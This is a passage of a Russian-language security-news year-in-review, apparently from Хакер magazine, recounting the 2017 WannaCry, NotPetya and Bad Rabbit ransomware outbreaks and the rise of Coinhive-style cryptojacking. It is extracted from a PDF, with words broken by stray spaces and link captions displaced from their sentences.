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Ухо дящий год ока зал ся богат на гром кие взло мы и мас совые
сли вы  дан ных,  вирус ные  эпи демии  ранее  невидан ных  мас‐ 
шта бов,  а  некото рые  трен ды,  обоз начив шиеся
еще в 2016 году, про дол жают набирать обо роты. К при меру,
интернет  вещей  по‐преж нему  вопи юще  небезо пасен,
а  инте рес  к  крип товалю там  быс тро  рас тет  не  толь ко
у инвесто ров и новато ров, но и у кибер прес тупни ков.

МАССОВЫЕ ЭПИДЕМИИ
ШИФРОВАЛЬЩИКОВ
В прош логод нем   мы уже называ ли вымога тель ское ПО нас‐ 
тоящей чумой, и в 2017 году ситу ация изме нилась толь ко к худ шему. Вымога‐ 
телей, шиф роваль щиков и вай перов не ста ло мень ше, нап ротив, авто ры таких
вре доно сов берут на воору жение все новые тех ники атак и рас простра нения,
а так же адап тиру ют для сво ей мал вари инс тру мен ты спец служб.

ито говом отче те

Ху же того, на чер ном рын ке появ ляет ся все боль ше сер висов, пред лага‐ 
ющих  взять  вымога теля  в  арен ду  за  весь ма  скром ную  пла ту.  Это  допол‐ 
нитель но  сни жает  порог  вхо да  в  этот  «биз нес»  для  прес тупни ков  (даже
для тех, кто не име ет глу боких тех ничес ких зна ний).

Но  конеч но,  в  пер вую  оче редь  2017  год  запом нится  все му  миру  из‐за
серии мас совых вымога тель ских атак.

WannaCry
WannaCry  (так же  извес тный  под  наз вани ями  Wana  Decrypt0r,  WCry,  Wanna‐
Crypt0r и WannaCrypt), был обна ружен отнюдь не в середи не мая 2017 года,
ког да  началась  эпи демия,  взбу дора жив шая  весь  мир.  Впер вые  вирус  был
замечен спе циалис тами в фев рале 2017  года,  но не про извел на них боль‐ 
шого  впе чат ления,  так  как  был  совер шенно  зауряд ным  вымога телем,  каких
в нас тоящее вре мя нас читыва ются десят ки, если не сот ни.

По чему началась эпи демия, если WannaCry — это рядовой вымога тель? Дело
в том, что в середи не мая 2017 года раз работ чики WannaCry выпус тили вто‐ 
рую вер сию вре доно са, пос ле чего тот стал рас простра нять ся со ско ростью
лес ного пожара и посе ял в Сети нас тоящую панику.

Та кой  эффектив ности  авто рам  WannaCry  уда лось  добить ся  бла года ря
тому, что они в бук валь ном смыс ле взя ли на воору жение экс пло иты из арсе‐ 
нала  спец служб.  Дело  в  том,  что  еще  летом  2016  года  груп па  хакеров,
называ ющих себя The Shadow Brokers, сумела похитить хакер ский инс тру мен‐ 
тарий у спе циалис тов АНБ, а в апре ле 2017 года груп пиров ка опуб ликова ла
эти дан ные совер шенно бес плат но, в откры том дос тупе.

Го товы ми инс тру мен тами из хакер ско го арсе нала АНБ (а имен но экс пло‐ 
ита ми  EternalBlue  и  DoublePulsar)  и  вос поль зовались  соз датели  WannaCry,
прев ратив  зауряд ного  с  тех ничес кой  точ ки  зре ния  шиф роваль щика  в  SMB‐
чер вя, от которо го в ито ге пос тра дало око ло полумил лиона устрой ств и сот ни
орга низа ций по все му миру.

Са ми по себе инс тру мен ты EternalBlue и DoublePulsar никак не улуч шали фун‐ 
кци ональ ность  шиф роваль щика,  но  они  поз волили  WannaCry  рас простра‐ 
нять ся через уяз вимость в про токо ле SMB (Server Message Block).

О том, что в SMB были обна руже ны боль шие проб лемы, ][ пре дуп реждал
еще в   и   2017 года. Более того, в мар те 2017 года, задол го
до  того,  как WannaCry  начал  экс плу ати ровать дан ные  уяз вимос ти,  ком пания
Microsoft  выпус тила  исправ ление,  пред ста вив  бюл летень  безопас ности
MS17‐010, который пол ностью устра нял проб лему. ][   о выходе этих
важ ных пат чей, а в апре ле текуще го года еще раз   на том,
что Microsoft зак рыла боль шинс тво бре шей, которые экс плу ати рова ло в сво их
опе раци ях АНБ.

ян варе фев рале

со общал
за острил вни мание

На ряду с дру гими изда ниями и спе циалис тами мы неод нократ но пре дуп‐ 
режда ли  о  том,  что  вско ре  «киберар сенал»  АНБ могут  начать  исполь зовать
хакеры. Одна ко зачас тую ком пании и поль зовате ли не спе шат уста нав ливать
обновле ния,  при меня ют  дав но  уста рев шее  ПО  и  мало  тре вожат ся  о  собс‐ 
твен ной безопас ности.

Па ника, которую породи ли ата ки WannaCry, — это пря мое следс твие пов‐ 
семес тно го  халат ного  отно шения  к  безопас ности.  Поль зовате ли  искрен не
полага ют, что, не откры вая подоз ритель ные пись ма и не перехо дя по подоз‐ 
ритель ным  ссыл кам,  они  не могут  заразить ся  вирусом. WannaCry  напом нил
миру, что это не так. Бла года ря тому что шиф роваль щик исполь зует Eternal‐
Blue и DoublePulsar,  дос таточ но прос то вклю чить  уяз вимый  компь ютер,  под‐ 
клю чен ный  к  интерне ту. Жер тве  не  при дет ся  посещать  вре донос ные  сай ты,
откры вать  подоз ритель ные  поч товые  вло жения  и  вооб ще  что‐либо  делать.
Зараже ние  про изой дет  авто мати чес ки,  через  экс плу ата цию  уяз вимос ти
в SMB.

С  одной  сто роны,  кос венно  «поб лагода рить»  за  «вымога тель ский  апо‐ 
калип сис»,  раз вернув ший ся  по  все му  миру,  мож но  хакер скую  груп пиров ку
The  Shadow  Brokers.  Ведь  имен но  эта  груп па  сде лала  дос тоянием  общес‐ 
твен ности опас ные киберинс тру мен ты АНБ. Одна ко с  тем же успе хом обви‐ 
нить в слу чив шемся мож но и сами спец служ бы,  которые соз дали экс пло иты
EternalBlue  и  DoublePulsar  и  дол гое  вре мя  умал чивали  о  кри тичес кой  уяз‐ 
вимос ти  в  SMB.  Имен но  так    глав ный  юрис консульт  ком пании  Mi‐
crosoft Брэд Смит (Brad Smith), и с его позици ей пол ностью сог ласил ся даже
пре зидент РФ Вла димир Путин.

пос тупил

Так же мож но  воз ложить  ответс твен ность  на  ком панию Microsoft,  которая
испра вила  уяз вимос ти  еще  в  мар те  2017  года,  успе ла  под готовить  пат чи
для  уста рев ших,  непод держи ваемых  ОС  в  фев рале  2017‐го,  но  пред почла
не прив лекать к проб леме вни мания, а так же «при дер живала» пат чи для Win‐
dows  XP,  Windows  8  и  Windows  Server  2003  до  тех  пор,  пока  катас тро фа
не раз разилась в пол ной мере.

И конеч но, не сто ит забывать о самих раз работ чиках WannaCry. До сих пор
допод линно неиз вес тно, кто это был. Как   спе циалис ты Symantec
и  «Лабора тории  Кас пер ско го»,  с  боль шой  долей  веро ятности  шиф роваль‐ 
щика раз работа ли северо корей ские хакеры из небезыз вес тной груп пиров ки
Lazarus, за которой экспер ты наб люда ют уже мно го лет. С этой точ кой зре ния
сог ласны  влас ти  США,  Великоб ритании,  Авс тра лии  и  дру гих  стран.  Спе‐ 
циалис ты  ком пании  Flashpoint,  в  свою  оче редь,  про вели 

 и обна ружи ли «китай ский след». Наш лись даже те, кто 
,  что основной целью неиз вес тных авто ров WannaCry были манипу‐ 

ляции с кур сами крип товалют.

ут вер жда ют

лин гвис тичес кий
ана лиз WannaCry пред‐ 
положил

Сто ит ска зать, что в мае 2017 года миру, который был совер шенно не готов
к  появ лению  WannaCry,  еще  повез ло.  Ведь  нас тоящим  «геро ем  дня»  тог да
стал ИБ‐спе циалист Мар кус Хат чинс  (Marcus Hutchins), извес тный под псев‐ 
донимом MalwareTech.  Имен но  он    в  коде  вре доно са  ава рий ный
«стоп‐кран»:  ока залось,  что  перед  началом  работы  мал варь  обра щает ся
к домену iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com, про веряя, сущес тву ет
ли он. Если домен не зарегис три рован, мал варь начина ет шиф ровать фай лы.
Одна ко если домен сущес тву ет, вымога тель оста нав лива ет про цесс зараже‐ 
ния.

об наружил

MalwareTech  зарегис три ровал  ука зан ный  домен,  акти виро вав  тем  самым
механизм  «ава рий ного  отклю чения»,  пос ле  чего  количес тво  успешных
зараже ний WannaCry рез ко сни зилось, а ком пании и поль зовате ли получи ли
столь  необ ходимый  тайм‐аут,  поз волив ший  им  экс трен но  залатать  бре ши.
Если бы дан ный «рубиль ник» не был най ден, пос ледс твия от эпи демии Wan‐
naCry мог ли бы быть гораз до пла чев нее.

NotPetya
Не успел мир опра вить ся от атак WannaCry, как 27 июня 2017 года началась
новая вымога тель ская эпи демия. Ее при чиной ста ло появ ление новой вари‐ 
ации  шиф роваль щика  Petya,  ори гиналь ная  вер сия  которо го  была  извес тна
спе циалис там с 2016 года. Опе рато ры этой мал вари явно переня ли нес коль‐ 
ко  при емов  у  раз работ чиков  нашумев шего  WannaCry  и  сумели  спро воци‐ 
ровать в Сети оче ред ную вол ну паники.

Ори гиналь ный  шиф роваль щик  Petya    в  мар те  2016  года.
Одна ко вер сия, с которой мир стол кнул ся в июне, силь но отли чалась от ста‐ 
рого «Пети». Из‐за этих отли чий иссле дова тели прис воили угро зе мно жес тво
новых  имен,  сре ди  которых  NotPetya,  SortaPetya,  Petna,  Nyetya,  ExPetr.  Мы
оста новим ся на наз вании NotPetya.

был  обна ружен

Ори гиналь ный Petya 2016 года

Спе циалис ты ком паний Payload Security, Avira, Emsisoft, Bitdefender, Symantec
и  мно гие  дру гие  экспер ты  под твер дили,  что  для  рас простра нения  NotPetya
исполь зовались уяз вимос ти про токо ла SMB и экс пло ит, похожий на инс тру‐ 
мент EternalBlue, похищен ный у АНБ. Так же ана лити ки «Лабора тории Кас пер‐ 
ско го»  сооб щили,  что  авто ры  вре доно са  взя ли  на  воору жение  и  еще  один
инс тру мент, укра ден ный у спец служб, — экс пло ит EternalRomance.

NotPetya  не  прос то  шиф ровал  фай лы  поль зовате лей,  но  шиф ровал MFT
(Master  File  Table)  для  раз делов  NTFS,  переза писы вал  MBR  (Master  Boot
Record)  и  имел  кас томный  заг рузчик,  который  отоб ражал  вымога тель ское
пос лание вмес то заг рузки опе раци онной сис темы.

Ху же  того,  спус тя  нес коль ко  дней  пос ле  начала  атак  спе циалис ты
«Лабора тории  Кас пер ско го»  и  иссле дова тель  Comae  Technologies  Мэтт
Сюиш  (Matt  Suiche)  ,  что  NotPetya  вооб ще  некор рек тно
называть шиф роваль щиком. Дело  в  том,  что  вре донос,  по  сути,  был  соз дан
для  унич тожения  информа ции,  —  вос ста новить  пос тра дав шие  дан ные  ока‐ 
залось  поч ти  невоз можно,  и  это  не  ошиб ка,  а  замысел  авто ров  мал вари.
Поэто му NotPetya  точ нее будет называть вай пером  (от англий ско го wiper —
«чис тиль щик»).

приш ли  к  выводу

Сто ит  отме тить,  что  с  этой  теорией  сог ласны  не  все.  К  при меру,  иссле‐ 
дова тели  F‐Secure  ,  что  NotPetya  мог  быть  имен но  шиф роваль‐ 
щиком, прос то его соз датели совер шили ряд оши бок во вре мя раз работ ки.

до пус кают

Как бы  то  ни было,  вско ре  ста ло  ясно,  что  у жертв NotPetya  прак тичес ки
нет  надеж ды  на  вос ста нов ление  пос тра дав шей  информа ции. Пла тить  выкуп
зло умыш ленни кам  ока залось  бес полез но.  Даже  если  жер твы  не  повери ли
выводам экспер тов, приз навших NotPetya вай пером, у них все рав но не было
шан сов. Дело в том, что пос ле опла ты выкупа сле дова ло отпра вить зло умыш‐ 
ленни кам пись мо на адрес wowsmith123456@posteo.net, что бы получить инс‐ 
трук ции  по  рас шифров ке  дан ных.  Одна ко  уже  вечером  27  июня  2017  года
этот адрес был заб локиро ван адми нис тра цией сер виса Posteo. Писать ста ло
поп росту некуда и некому.

Спус тя  пол торы  недели  пос ле  начала  атак NotPetya ИБ‐экспер ты  зафик‐ 
сирова ли  . Во‐пер вых, средс тва на Bitcoin‐кошель ке мал‐ 
вари приш ли в дви жение. Сна чала зло умыш ленни ки переве ли 285 и 300 дол‐ 
ларов на кошель ки сер висов Pastebin и DeepPaste, а часом поз же осу щес тви‐ 
ли  тран закцию,  прив лекшую  все общее  вни мание:  вывели  с  кошель‐ 
ка 3,96298755 бит кой на (поряд ка 10 тысяч дол ларов на тот момент), то есть
весь свой сум марный «зарабо ток».

сра зу два события

Во‐вто рых,  одновре мен но  с  этим  на  Pastebin  и  DeepPaste  были  опуб‐ 
ликова ны  офи циаль ные  сооб щения  прес тупни ков.  Оба  пос лания  гла сили:
«Приш лите  мне  100  бит кой нов  и  получи те  мой  сек ретный  ключ  для  рас‐ 
шифров ки  любого  жес тко го  дис ка  (кро ме  заг рузоч ных)».  При  этом  хакеры
не соп роводи ли свое сооб щение адре сом кошель ка, вмес то это го для свя зи
с ними пред лагалось исполь зовать дар кнет‐сер вис Mattermost — онлайн‐чат,
похожий на Slack.

В чате хакеры дей стви тель но при сутс тво вали и даже пояс нили жур налис‐ 
там  изда ний  Vice  Motherboard  и  Bleeping  Computer,  что  высокая  сто имость
клю ча обус ловле на тем, что это «ключ для рас шифров ки всех компь юте ров».
То  есть  зло умыш ленни ки  выс тавили  на  про дажу  сек ретный  ключ  для  user‐
mode  крип тогра фичес кого  модуля.  Так же  они  с  готов ностью  пред ста вили
доказа тель ства сво их слов. Пред ста вите ли Motherboard, при под дер жке спе‐ 
циалис тов ком пании ESET, выс лали хакерам зашиф рован ный NotPetya файл,
который  неиз вес тная  груп па  успешно  рас шифро вала.  Пос ле  это го  хакеры
замол чали, сооб щив, что теперь при нима ют толь ко «реаль ные пред ложения».
По  их  сло вам,  покуп кой  клю ча  за  чет верть мил лиона  дол ларов  заин тересо‐ 
вались сра зу нес коль ко человек.

Хо тя  неяс но,  кто  сто ял  за  раз работ кой NotPetya  и  зачем  пов режда ющую
дан ные мал варь отпра вили «в боль шое пла вание», 

, как имен но рас простра нял ся вирус и почему от NotPetya пос тра дали
в основном ком пании и орга низа ции, но не час тные лица.

эк спер там уда лось  уста‐ 
новить

Прак тичес ки  сра зу  пос ле  начала  эпи демии мно гие  спе циалис ты  свя зали
рас простра нение  NotPetya  с  бух галтер ским  прог рам мным  обес печени ем
M.E.Doc. К при меру, такие пред положе ния выс казали сот рудни ки укра инской
кибер полиции, а так же ана лити ки Cisco Talos, Microsoft и «Лабора тории Кас‐ 
пер ско го».

Боль ше  недели офи циаль ная  стра ница M.E.Doc  в  Facebook  попол нялась
раз личны ми опро вер жени ями  этих  обви нений. Раз работ чики до  пос ледне го
утвер жда ли,  что  M.E.Doc  не  име ет  никако го  отно шения  к  вымога тель ской
эпи демии, и сооб щали, что к рас сле дова нию слу чив шегося были прив лечены
пра воох ранитель ные  орга ны  и  спе циалис ты Cisco.  Но  потом  экспер ты  ком‐ 
пании  ESET  пред ста вили  собс твен ный  ана лити чес кий  отчет,  в  котором  сог‐ 
ласились с  вывода ми  кол лег и рас ска зали,  что им  уда лось обна ружить бэк‐ 
дор,  исполь зовав ший ся  для  рас простра нения  NotPetya  и  шиф роваль щика
XData.

Бэк дор  был  най ден  в  одном  из  легитим ных  модулей  M.E.Doc,  и,
как говори лось в отче те, «малове роят но, что ата кующие выпол нили эту опе‐ 
рацию  без  дос тупа  к  исходно му  коду  прог раммы».  Более  того,  изу чив  все
обновле ния  M.E.Doc,  выпущен ные  в  текущем  году,  спе циалис ты  выяс нили,
что  модуль  бэк дора  содер жали  как  минимум  три  апдей та  (от  14  апре ля,
15 мая и 22 июня 2017 года).

«„Нулевым паци ентом“ ста ли укра инские поль- 
зовате ли  M.E.Doc,  кор поратив ного  прог рам- 
мно го обес печения для отчетнос ти и докумен- 
тообо рота. Ата кующие получи ли дос туп к сер- 
веру  обновле ний  M.E.Doc  и  с  его  помощью
нап равля ли  тро яни зиро ван ные  обновле ния
с  авто мати чес кой  уста нов кой»,  —  рас ска зали
спе циалис ты ESET.

Об наружен ный  бэк дор  поз волял  опе рато рам  заг ружать  и  выпол нять
в заражен ной сис теме дру гое вре донос ное ПО, как это про изош ло с NotPetya
и XData. Кро ме того, мал варь собира ла нас трой ки прок си‐сер веров и email,
вклю чая  логины  и  пароли  из  при ложе ния  M.E.Doc,  а  так же  коды  ком паний
по ЕДРПОУ (Еди ному государс твен ному реес тру пред при ятий и орга низа ций
Укра ины),  что  поз воляло  иден тифици ровать  жертв.  По  совокуп ности  приз‐ 
наков, вклю чающих инфраструк туру, вре донос ные инс тру мен ты, схе мы и цели
атак, иссле дова тели ESET пред положи ли, что за эпи деми ей NotPetya сто яла
хакер ская груп па, извес тная под наз вани ем TeleBots.

В  ито ге  приз нать ся  в  том,  что  обновле ния  M.E.Doc  дей стви тель но  рас‐ 
простра няли мал варь, раз работ чиков бух галтер ско го ПО вынуди ло лишь изъ‐ 
ятие сер веров ком пании и заяв ление гла вы укра инской кибер полиции Сер гея
Демидю ка,  который  сооб щил,  что  из‐за  про явленной  халат ности  раз работ‐ 
чикам может гро зить уго лов ная ответс твен ность.

Уже пос ле это го спе циалис ты ком пании Cisco, на мес те изу чав шие арес‐ 
тован ные сер веры M.E.Doc,  , сог ласно которо му раз работ‐ 
чики  новой  вер сии  Petya  про ник ли  в  сеть  «Интеллект‐Сер вис»  еще  вес‐ 
ной 2017  года,  исполь зуя  для  это го  учет ные дан ные одно го  из  сот рудни ков
ком пании.

пред ста вили отчет

Bad Rabbit
Еще  одна  вымога тель ская  эпи демия  раз разилась  осенью  2017  года.
24 октября круп ные рос сий ские СМИ, а так же ряд укра инских госуч режде ний
под вер глись  ата кам  неиз вес тных  зло умыш ленни ков.  В  чис ле  пос тра дав ших
ока зались  «Интерфакс»,  «Фон танка»  и  как  минимум  еще  одно  неназ ванное
интернет‐изда ние. Вслед за СМИ о проб лемах так же сооб щили Меж дународ‐ 
ный аэро порт «Одес са», Киев ский мет рополи тен и укра инское Минис терс тво
инфраструк туры.

По  дан ным  ана лити ков  Group‐IB,  прес тупни ки  так же  пытались  ата ковать
бан ков ские  инфраструк туры,  но  эти  попыт ки  ока зались  неудач ными.  Спе‐ 
циалис ты ESET, в свою оче редь, сооб щили, что ата ки так же кос нулись поль‐ 
зовате лей из Бол гарии, Тур ции и Япо нии.

Пе ребои в работе ком паний и госуч режде ний были выз ваны шиф роваль‐ 
щиком, который получил имя Bad Rabbit. Мал варь сооб щала жер твам, что все
их дан ные зашиф рованы, и тре бова ла 0,05 бит кой на выкупа.

Из началь но  вре донос  рас простра нял ся  под  видом  фаль шивых  обновле ний
и  уста нов щиков Adobe Flash. Фак тичес ки жер твы дол жны были вруч ную заг‐ 
рузить и запус тить мал варь, тем самым заразив свои компь юте ры. При этом
фаль шив ки  были  под писаны  под дель ными  сер тифика тами,  ими тиру ющи ми
сер тифика ты  Symantec.  Как  вско ре  выяс нили  спе циалис ты,  Bad  Rabbit  рас‐ 
простра нял ся  сра зу  нес коль кими  взло ман ными  сай тами,  в  основном  отно‐ 
сящи мися к катего рии СМИ.

Пос ле  эпи демий  шиф роваль щиков  WannaCry  и  NotPetya  за  ана лиз  новой
угро зы  тут же взя лись ведущие ИБ‐ком пании мира. Уже на сле дующий день
пос ле  пер вых  атак  «Пло хого  кро лика»  мал варь  изу чили  спе циалис ты  Bitde‐
fender, Cisco Talos, ESET, Group‐IB,  Intezer Labs, «Лабора тории Кас пер ско го»
и Malwarebytes.

Все иссле дова тели были сог ласны в одном: Bad Rabbit и вай пер NotPetya,
ско рее все го, име ют общие кор ни, так как угро зы весь ма похожи, хотя боль‐ 
шая часть кода Bad Rabbit и была перепи сана. Это озна чало, что вре доно сы
мог ли быть соз даны одной хакер ской груп пой.

Ес ли теории спе циалис тов вер ны, то за соз дани ем Bad Rabbit и NotPetya,
по всей видимос ти, сто ит груп пиров ка TeleBots (она же извес тна как BlackEn‐
ergy и Sandworm Team), которую ранее уже свя зыва ли с эпи деми ей NotPetya.
Эти  же  зло умыш ленни ки  были  ответс твен ны  за  раз работ ку  мал вари  XData
и KillDisk, а так же   на энер госис тему Укра ины.сто яли за ата ками

Ана лити ки  ком пании  Intezer  под счи тали,  что  исходный  код  вре доно сов
сов пада ет лишь на 13%. В то же вре мя спе циалис ты Group‐IB сооб щили:

«Bad  Rabbit  явля ется  модифи циро ван ной  вер- 
сией  NotPetya  с  исправ ленны ми  ошиб ками
в  алго рит ме  шиф рования.  В  ата ке  NotPetya
содер жался  такой  же  алго ритм  вычис ления
хеш‑сум мы  от  име ни  про цес са,  с  тем  отли- 
чием,  что  началь ный  век тор  ини циали зации
в  слу чае  NotPetya  0x12345678,  а  в  Bad
Rabbit — 0x87654321.

Так же в  текущей ата ке поменя лось  количес- 
тво иско мых имен про цес сов, а сама фун кция
вычис ления хеша была ском пилиро вана в виде
отдель ной фун кции ком пилято ром.

Сов падения в коде ука зыва ют на связь ата ки
с  исполь зовани ем  Bad  Rabbit  с  пре дыду щей
ата кой NotPetya или их под ражате лями».

Вна чале  экспер ты  еди нодуш но  решили,  что  на  ско рость  рас простра нения
Bad Rabbit пов лияло исполь зование ути литы Mimikatz, спис ка рас простра нен‐ 
ных логинов и паролей, SMB и WebDAV, но при этом зло умыш ленни ки обош‐ 
лись без укра ден ных у АНБ экс пло итов. В час тнос ти, спе циалис ты писали, что
хакеры  не  исполь зовали  инс тру мент  EternalBlue,  экс плу ати рующий  бре ши
в  SMB.  Напом ню,  что  вирусы  WannaCry  и  NotPetya  рас простра нялись
при помощи имен но это го инс тру мен та.

Но  вско ре  ста ло  ясно,  что  экспер ты  поторо пились  с  вывода ми  и  без
похищен ных  у  АНБ  экс пло итов  дело  все‐таки  не  обош лось.  Иссле дова тели
Cisco Talos и F‐Secure выяс нили, что авто ры Bad Rabbit исполь зовали не Eter‐
nalBlue,  а  похожий  экс пло ит  EternalRomance,  тоже  экс плу ати рующий  бре ши
в  SMB.  Этот факт  был  обна ружен  не  сра зу,  так  как  ата кующие  зна читель но
модифи циро вали  инс тру мент  и  авто мати чес кое  ска ниро вание  его  не  рас‐ 
позна ло.

Так же иссле дова тели Cisco Talos отме тили,  что дан ная вер сия EternalRo‐
mance очень похожа на Python‐импле мен тацию экс пло ита, исполь зован ного
для рас простра нения NotPetya. При этом новый вари ант оста вал ся по‐преж‐ 
нему бли зок  к ори гиналь ному EternalRomance,  который опуб ликова ли чле ны
хакер ской  груп пы  The  Shadow  Brokers,  исходно  похитив шей  киберо ружие
у АНБ.

Ког да  основные  тех ничес кие  под робнос ти  о  Bad  Rabbit  были  рас кры ты,
спе циалис ты  при нялись  стро ить  теории,  пыта ясь  понять,  какую  цель  прес‐ 
ледова ли авто ры мал вари. В отли чие от NotPetya новая угро за не была вай‐ 
пером,  то  есть  не  унич тожала  информа цию  на  жес тких  дис ках  сво их  жертв.
По  сути,  Bad  Rabbit  был  имен но  тем,  чем  казал ся,  —  шиф роваль щиком.
Но край не скром ная сум ма выкупа, выбор целей для атак, а  так же прош лые
«зас луги»  груп пиров ки  TeleBots  зас тавили  спе циалис тов  пред положить,  что
«Пло хой кро лик» мог слу жить прик рыти ем для некой более серь езной ата ки.
То есть шиф роваль щик мог поп росту отвле кать  вни мание и  заметать  сле ды
на  заражен ных  машинах.  Впро чем,  дан ная  теория  до  сих  пор  не  наш ла
никаких под твержде ний.

→ Ис сле дова тели соч ли вымога тель Spora очень слож ным и обна ружи‐ 
ли,  что  авто ры  вируса  пред лага ют  заранее  при обрести  имму нитет
от зараже ния

→ Из‐за  ата ки  шиф роваль щика  техас ская  полиция  лишилась  улик
за пос ледние восемь лет

→ Груп па  ИБ‐спе циалис тов  соз дала  proof‐of‐concept  вымога теля
для сис тем SCADA и АСУ

→ Спе циалис ты  ком паний Fortinet  и AlienVault  изу чили образчи ки новых
вре доно сов для Mac, которые рас простра няют ся в дар кне те «по под‐ 
писке», то есть с исполь зовани ем популяр ной на чер ном рын ке схе мы
«мал варь как услу га» (malware‐as‐a‐service)

→ Ком пания  Symantec  обна ружи ла,  что  на  андегра ундных  хакер ских
ресур сах в Китае начали активно рек ламиро вать при ложе ние для An‐
droid,  которое  поз волит  любому  жела юще му  соз дать  собс твен ного
вымога теля за нес коль ко минут



КРИПТОВАЛЮТНАЯ
ЛИХОРАДКА
Кур сы крип товалют в этом году демонс три руют рекор дный рост, а СМИ прак‐ 
тичес ки  каж дый  день  сооб щают  о  новых  рекор дах  Bitcoin  и  рас ска зыва ют
об  огромном  потен циале  блок чей на.  Минув шим  летом  из‐за  все общей
«золотой лихорад ки» виде окар ты AMD (RX 470/480, RX580), а так же поч ти вся
серия  10хх  Nvidia  исчезли  из  магази нов,  а  оставши еся  в  про даже  кар ты
вырос ли в цене в пол тора‐два раза и до сих пор не вер нулись к нор ме. Поб‐ 
лагода рить за это, в чис ле про чего, сле дова ло май неров.

Сов сем  неуди витель но,  что  зло умыш ленни ки  все  чаще  пред почита ют
не май нить  крип товалю ту самос тоятель но, а  красть ее  у дру гих поль зовате‐ 
лей  или  исполь зовать  для  этих  целей  мощ ности  чужих  компь юте ров,  сер‐ 
веров, смар тфо нов и любых дру гих устрой ств.

Крип тодже кинг
Нас тоящая  эпи демия  крип тодже кин га  (cryptojacking)  зах лес тну ла  интернет
осенью 2017 года, и это явле ние про дол жает законо мер но раз вивать ся и по
сей  день.  Суть  крип тодже кин га  пре дель но  прос та:  в  код  сай тов  внед ряют
спе циаль ные  скрип ты,  которые  кон верти руют  мощ ности  CPU  посети телей
ресур са в крип товалю ту. Фак тичес ки это прос той май нинг через бра узе ры.

Ос новной тол чок это му мас совому явле нию дали опе рато ры тор рент‐тре‐ 
кера The Pirate Bay, которые в сен тябре 2017 года про вели испы тания и вре‐ 
мен но  встро или  крип товалют ный  май нер  в  нес коль ко  стра ниц  сай та.  Тог да
опе рато ры  тре кера  пояс нили,  что  май нер  может  стать  новым  средс твом
монети зации  и  поможет  ресур су  в  будущем  пол ностью  изба вить ся  от  тра‐ 
дици онной рек ламы. В октябре май нин говый скрипт для добычи крип товалю‐ 
ты Monero, пре дос тавлен ный сер висом Coinhive, вновь вер нулся на стра ницы
тре кера, и, похоже, на этот раз май нер «при шел, что бы остать ся».

До и пос ле визита на The Pirate Bay

Са ми  по  себе  май нин говые  сер висы  нель зя  наз вать  незакон ными.  Одна ко
крип тодже кинг ста новит ся все популяр нее имен но сре ди зло умыш ленни ков,
а  май нин говые  скрип ты  далеко  не  всег да  исполь зуют ся  закон ным  путем.
К  при меру,  скрип ты  Coinhive  уже  прис пособи ли  для  добав ления  скры того
май нера во взло ман ное рас ширение для Chrome, а так же скры тые май неры
были обна руже ны на мно гих ресур сах из топа Alexa (AirAsia, TuneProtect, офи‐ 
циаль ный сайт Криш тиану Ронал ду и дру гие). Хуже того, исполь зовать скрип‐ 
ты про екта Coinhive начали некото рые Tor2Web прок си, скры тый май нер был
най ден и в мод динго вой плат форме для Grand Theft Auto V, FiveM.

Ос новная проб лема зак люча ется в том, что боль шинс тво ресур сов, встро‐ 
ивших май неры в свои стра ницы, вооб ще не пре дуп режда ют поль зовате лей
о  про исхо дящем,  а  скрип ты  Coinhive  и  дру гих  ана логич ных  сер висов  зна‐ 
читель но  наг ружа ют  CPU  и  оття гива ют  на  себя  поч ти  все  ресур сы  сис тем
посети телей.  Кро ме  того,  зло умыш ленни ки  и  опе рато ры  сай тов,  жела ющие
под зарабо тать,  не  пре дос тавля ют  поль зовате лям  воз можность  отклю чения
май неров. Из‐за  это го мно гие ИБ‐спе циалис ты  и  ком пании  рас смат рива ют
такие  скрип ты  как  мал варь.  К  при меру,  ком пания  Cloudflare  уже  переш ла
к активным дей стви ям и начала бло киро вать подоб ные ресур сы.

Впро чем,  легитим ное  при мене ние  май нин гу  через  бра узе ры  тоже  наш‐ 
лось. К при меру, май нер Coinhive встро или в бра узер ное рас ширение Iridium,
одна ко его раз работ чики уве доми ли об этом поль зовате лей, пре дос тавив им
воз можность отклю чить май нер при желании.

По хожим  обра зом  пос тупили  и  опе рато ры  зак рытого  тор рент‐тре кера
PublicHD.  Поль зовате лям  ресур са  пред ложили  не  прос то  май нить  Monero
на  бла го  адми нис тра торов,  но  и  под нимать  таким  обра зом  свой  рей тинг
на  тре кере,  то  есть  работа  май нера  зач тется  бонусом  к  отданно му  и  под‐ 
нимет upload credit.

Ес ли  в  кон це  сен тября  2017  года  сер висов  для  бра узер ного  май нин га
нас читыва лось  сов сем нем ного и боль шинс тво  сай тов  пред почита ли  услу ги
Coinhive,  то  уже  спус тя  месяц  ситу ация  кар диналь но  поменя лась.  Пер вым
кон курен том  Coinhive  стал  ана логич ный  сер вис  Crypto‐Loot,  который  тоже
пред ложил опе рато рам сай тов встро ить в  код стра ниц JavaScript и  «копать»
Monero, исполь зуя компь юте ры поль зовате лей.

Вско ре,  помимо  Coinhive  и  Crypto‐Loot,  в  Сети  уже  мож но  было  обна‐ 
ружить и дру гие подоб ные решения, к при меру MineMyTraffic и JSEcoin. Так же
ИБ‐спе циалист Трой Марш (Troy Mursch) нашел два китай ских кло на Coinhive
(Coin Have и PPoi), а экспер ты Microsoft замети ли сер висы CoinBlind и Coin‐
Nebula.  Два  пос ледних  про екта  даже  не  име ют  собс твен ных  сай тов  и,  судя
по  все му,  ори енти рова ны  исклю читель но  на  хакер ский  андегра унд
и нелегаль ное исполь зование.

По ка паль му пер венс тва уве рен но удер жива ет Coinhive, и ИБ‐спе циалис ты
даже запус тили спе циаль ный сайт  , на котором мож но про‐ 
верить,  какие  ресур сы  исполь зуют  такие  скрип ты.  Одна ко  сто ит  пом нить
о том, что проб лемны ми теперь могут ока зать ся не толь ко сай ты.

WhoRunsCoinhive

Скры тые май неры уже были адап тирова ны к фор мату пла гинов для Word‐
Press.  Нап ример,  в  офи циаль ном  репози тории  мож но  было  обна ружить
как минимум два таких решения: Simple Monero Miner — Coin Hive и Coin Hive
Ultimate Plugin. Вско ре пос ле их появ ления позицию по дан ному воп росу были
вынуж дены  озву чить  адми нис тра торы  офи циаль ного  репози тория  Word‐
Press.org. Они выс казались про тив май неров и заяви ли, что один пла гин уже
был бло киро ван имен но из‐за наличия май нера в коде.

Тем вре менем спе циалис ты Trend Micro и вов се сооб щили, что им уда лось
обна ружить  май нин говые  скрип ты  в  сос таве  трех  при ложе ний  для  Android.
При чем  при ложе ния  Recitiamo  Santo  Rosario  Free  и  SafetyNet  Wireless  App
были сво бод но дос тупны в офи циаль ном катало ге Google Play. Все про вер ки
